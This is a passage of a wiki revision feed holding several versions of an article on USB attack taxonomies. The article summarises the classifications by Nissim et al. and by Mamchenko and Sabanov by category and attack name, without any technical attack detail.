# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Taxonomy based on attack characteristics&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;&amp;gt;[https://spectrum.ieee.org/how-usb-came-to-be Goodrich, Joanna. &amp;quot;How USB Came to Be.&amp;quot; IEEE Spectrum, 22 February 2022. Accessed 22 September 2024] &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17068</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17068"/>
		<updated>2024-12-13T14:46:10Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;&amp;gt;[https://spectrum.ieee.org/how-usb-came-to-be Goodrich, Joanna. &amp;quot;How USB Came to Be.&amp;quot; IEEE Spectrum, 22 February 2022. Accessed 22 September 2024] &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17067</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17067"/>
		<updated>2024-12-13T14:40:24Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be |author=Joanna Goodrich |date=22 February 2022 |access-date=13 December 2024}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17066</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17066"/>
		<updated>2024-12-13T14:28:49Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be |author=Joanna Goodrich |date=22 February 2022 |access-date=13 December 2024}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
